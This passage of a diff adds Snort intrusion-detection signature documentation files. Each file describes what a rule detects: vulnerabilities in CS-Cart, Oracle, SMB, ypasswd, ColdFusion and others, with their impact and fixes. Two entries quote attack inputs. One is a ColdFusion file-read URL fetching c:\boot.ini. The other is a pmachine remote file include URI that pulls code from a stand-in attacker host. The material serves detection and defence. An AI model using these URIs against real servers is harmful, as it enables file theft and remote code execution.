+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the most current non-affected version of the product.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+Other:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000437.txt
+++ snort-2.8.5.2/doc/signatures/100000437.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000437
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "CS-Cart" application running on a webserver. Access to the file "class.cs_phpmailer.php" using a remote file being passed as the "classes_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "classes_dir" parameter in the "class.cs_phpmailer.php" script used by the "CS-Cart" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using CS-Cart
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1963.txt
+++ snort-2.8.5.2/doc/signatures/1963.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1963
+
+--
+Summary:
+The RQUOTA daemon is an RPC server that returns quotas for users on the 
+local file systems.  
+
+Some versions of solaris ship with a vulnerable version of snoop that 
+attempts to parse RQUOTA GETQUOTA requests.  Snoop contains a boundary 
+condition error that could result in a buffer overflow that will present
+the attacker with super user access to the target host.
+
+--
+Impact:
+Complete control of the target machine.
+
+--
+Detailed Information:
+The sniffing program named snoop is installed on certain version of Sun 
+Solaris.
+
+When run by the super-user, snoop will monitor network traffic on the 
+host's network segment.  When snoop attempts to decode RQUOTA GETQUOTA 
+requests, snoop does not properly handle user supplied data resulting in
+a buffer overflow.
+
+--
+Affected Systems:
+	Sun Solaris 2.4, 2.5, 2.5.1, 2.6, 2.7 for SPARC and Intel architectures
+
+--
+Attack Scenarios:
+The attacker must send specially crafted packets past a network segment 
+monitored by vulnerable versions of snoop
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate patches for each affected system.
+
+Use a different network monitoring tool other than snoop.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000646.txt
+++ snort-2.8.5.2/doc/signatures/100000646.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000646
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "user_edit.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "user_edit.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1091.txt
+++ snort-2.8.5.2/doc/signatures/1091.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1091
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2918.txt
+++ snort-2.8.5.2/doc/signatures/2918.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2918
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure validate_for_local_flavor
+. This procedure is included in
+sys.dbms_repcat_sna.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3143.txt
+++ snort-2.8.5.2/doc/signatures/3143.txt
@@ -0,0 +1,77 @@
+Rule: 
+
+--
+Sid: 
+3143
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft systems using Server Message Block (SMB).
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+SMB is a client - server protocol used in sharing resources such as
+files, printers, ports, named pipes and other things, between machines
+on a network.
+
+A vulnerability in the Microsoft implementation of SMB exists due to a
+programming error which may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain unauthorized access to the target host.
+
+A malicious attacker can exploit the vulnerability by sending a
+malicious response from a server in response to a client request using
+SMB.
+
+--
+Affected Systems:
+	Microsoft Windows 2003
+	Microsoft Windows 2000
+	Microsoft Windows XP
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message from the server
+containing code of their choosing to be run on the client.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+Turn off windows file and print services.
+
+Use Samba as an alternative.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+eEye:
+http://www.eeye.com/html/research/advisories/AD20050208.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2028.txt
+++ snort-2.8.5.2/doc/signatures/2028.txt
@@ -0,0 +1,88 @@
+Rule:
+
+--
+Sid:
+2028
+
+--
+Summary:
+A user can change their password for Network Information Services (NIS) 
+using the ypasswd command. A vulnerability exists in ypasswd where
+an overly long username can cause a buffer overflow resulting in 
+unauthorized access to the remote machine.
+
+--
+Impact:
+Unauthorized super user access to the vulnerable host resulting in a 
+compromise of all data on the host and any network resources that host 
+is connected to. Full control of the victim is gained.
+
+--
+Detailed Information:
+The rpc.ypasswd service processes all password changes from 
+ypasswd. Supplying a specially crafted request to a NIS server 
+running this daemon in the form of a long username, the attacker can 
+cause a buffer overflow in that process.
+
+Since all master servers handling NIS resources run this daemon, the 
+resulting root access affects all NIS resources available on the LAN.
+
+An exploit for this vulnerability exists, hosts that have been 
+compromised using this vulnerability typically display two instances of 
+inetd running at the same time. The result of the exploit is a root 
+shell attached to port 77 of the host.
+
+--
+Affected Systems:
+	Caldera OpenServer 5.0.5
+	Caldera OpenServer 5.0.6
+	Solaris 2.6
+	Solaris 7
+	Solaris 8
+
+--
+Attack Scenarios:
+The attacker needs to craft a specially formulated request to the 
+rpc.ypasswd service containing a long username. An exploit for this 
+vulnerability exists.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply pacthes for the affected systems as soon as possible.
+
+Disable the rpc.ypasswd daemon.
+
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CIAC:
+http://www.ciac.org/ciac/bulletins/m-008.shtml
+
+Security Focus Mailing List Archive:
+http://www.securityfocus.com/archive/1/187086
+
+CERT:
+http://www.kb.cert.org/vuls/id/327281
+
+--
--- snort-2.8.5.2.orig/doc/signatures/906.txt
+++ snort-2.8.5.2/doc/signatures/906.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+Sid:
+906
+
+--
+Summary:
+This event is generated when an attempt is made to access an Example 
+application on a Coldfusion 4.x server. 
+
+--
+Impact:
+Serious. The vulnerability is not limited to files in the webspace, so
+system files or additional unexecuted code files could be retrieved and
+examined for vulnerabilities.
+
+--
+Detailed Information:
+ColdFusion (Macromedia, formerly Allaire) web servers have several
+default Example applications installed that have vulnerabilities.  The
+email application can be exploited to allow remote viewing of arbitrary
+files.
+
+
+--
+Affected Systems:
+	ColdFusion versions 2.x, 3.x, 4.x for Windows
+	ColdFusion versions 4.x for Solaris, HP-UX
+	ColdFusion versions 4.5.x for Linux
+
+--
+Attack Scenarios:
+The example application file cfdocs/exampleapp/email/getfile.cfm can 
+accept URL-mangled requests like:
+
+http://www.server.com/cfdocs/exampleapp/email/getfile.cfm?filename=c:\boot.ini
+
+This allows trivial remote retrieval of any file on the server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+If ColdFusion 4.x's example code is being used, This rule will generate 
+an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Delete all example code.  This is one of several significant
+vulnerabilities that are exploitable if the example code is left on a
+production server.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Darryl Davidson <ddavidson@talisman-intl.com>
+
+-- 
+Additional References:
+
+CAN-2001-0535
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0535
+
+Macromedia Security Bulletin (MPSB01-08)
+http://www.macromedia.com/devnet/security/security_zone/mpsb01-08.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/719.txt
+++ snort-2.8.5.2/doc/signatures/719.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+719
+
+--
+Summary:
+This event is generated after an attempted login to a telnet server 
+using the username root.
+
+--
+Impact:
+Remote root access.  This may or may not indicate a successful root 
+login to a telnet server.
+
+--
+Detailed Information:
+This event is generated after a telnet server observes an attempted 
+login with the username root.  It is not possible to tell from this 
+event alone whether or not the attempt was successful.  If this is 
+followed by a login failure event, the root login did not succeeed.  
+However, if no failure message is observed and the rule with SID 718 is 
+enabled, this may indicate that the root login succeeded.
+
+--
+Affected Systems:
+Telnet servers.
+
+--
+Attack Scenarios:
+An attacker may attempt to connect to a telnet server using the username
+of root.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Consider using Secure Shell instead of telnet.
+
+Disable root logins to telnet.
+
+
+Block inbound telnet access if it is not required.
+
+--
+Contributors:
+Original rule writer unknown.
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000386.txt
+++ snort-2.8.5.2/doc/signatures/100000386.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000386
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ottoman" application running on a webserver. Access to the file "main_class.php" using a remote file being passed as the "default_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "default_path" parameter in the "main_class.php" script used by the "Ottoman" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ottoman
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/394.txt
+++ snort-2.8.5.2/doc/signatures/394.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+394
+
+--
+
+Summary:
+This event is generated when an ICMP Destination Host Unknown datagram is detected on the network.  Gateway devices normally generate these ICMP messages when the destination's IP address is unreachable.
+
+--
+
+Impact:
+This rule generates informational events about the network.  Large numbers of these messages on the network could indication routing problems or faulty routing devices.
+
+--
+
+Detailed Information:
+This ICMP message will be generated when the destination host specified in the datagram is unreachable.
+
+--
+
+Attack Scenarios:
+None Known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagrams.
+
+--
+
+False Positives:
+None Known
+
+--
+
+False Negatives:
+None Known
+
+--
+
+Corrective Action:
+This rule detects informational network information, no correct action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000529.txt
+++ snort-2.8.5.2/doc/signatures/100000529.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000529
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "NC Linklist" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "cat" parameter in the "index.php" script used 
+by the "NC Linklist" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using NC Linklist
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2698.txt
+++ snort-2.8.5.2/doc/signatures/2698.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+2698
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure create file.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/373.txt
+++ snort-2.8.5.2/doc/signatures/373.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+373
+
+--
+Summary:
+This event is generated when an ICMP echo request is made from a Flowpoint 2200 DSL router.
+
+--
+Impact:
+Information gathering.  An ICMP echo request can determine if a host is active.
+
+--
+Detailed Information:
+An ICMP echo request is used by the ping command to elicit an ICMP echo reply from a listening live host.  An echo request that originates from a Flowpoint 2200 DSL router contains a unique payload in the message request.
+
+--
+Affected Systems:
+All
+
+--
+Attack Scenarios:
+An attacker may attempt to determine live hosts in a network prior to launching an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+An ICMP echo request may be used to legimately troubleshoot networking problems.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block inbound ICMP echo requests.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.org>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS156
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1521.txt
+++ snort-2.8.5.2/doc/signatures/1521.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1521
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/675.txt
+++ snort-2.8.5.2/doc/signatures/675.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+675
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/472.txt
+++ snort-2.8.5.2/doc/signatures/472.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+472
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Redirect for Host datagram.
+
+--
+
+Impact:
+Redirect messages are normally an indication that a shorter route to a particular destination exists.  
+
+--
+
+Detailed Information:
+ICMP Redirect messages are generated by gateway devices when a shorter route to the destination exists.  When a gateway device receives an Internet datagram from a host on the same network a check is performed to determine the address of the next hop (gateway) in the route to the datagrams destination.  The datagram is then forward to the next hop on the route.  If this gateway device is also on the same network, the gateway device generates an ICMP Redirect message and sends it back to the host that originally generated the traffic.  The ICMP redirect message informs the original host that a shorter route exists and any additional traffic should be forwarded directly to the closer gateway device.
+
+--
+
+Attack Scenarios:
+Attackers on the local subnet could potentially use ICMP Redirect messages to force hosts to use compromised gateway devices.  
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+ICMP Redirect datagrams are legitimate Internet traffic if a shorter route to a destination actually exists.  
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Ingress filtering should be utilized to block incoming ICMP Type 5 datagrams
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+RFC792
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2226.txt
+++ snort-2.8.5.2/doc/signatures/2226.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2226
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP application pmachine.
+
+--
+Impact:
+Execution of arbitrary code possibly leading to a remote shell.
+
+--
+Detailed Information:
+Versions of PMachine do not properly check included files and it is 
+possible for an attacker to include a file of their choosing which may 
+lead to arbitrary code execution on the target host.
+
+--
+Affected Systems:
+	PMachine PMachine 2.2.1
+
+--
+Attack Scenarios:
+The attacker can include a file of their choosing by appending the file 
+URI to the end of a URI for the application.
+
+Proof of concept URI by FrogMan:
+
+http://victim.example.com/pm/lib.inc.php?pm_path=http://attacker.example.com/&sfx=/badcode.txt
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2530.txt
+++ snort-2.8.5.2/doc/signatures/2530.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+2530
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2827.txt
+++ snort-2.8.5.2/doc/signatures/2827.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2827
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_master_repobject
+. This procedure is included in
+sys.dbms_repcat_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1608.txt
+++ snort-2.8.5.2/doc/signatures/1608.txt
@@ -0,0 +1,69 @@
+Rule:
+
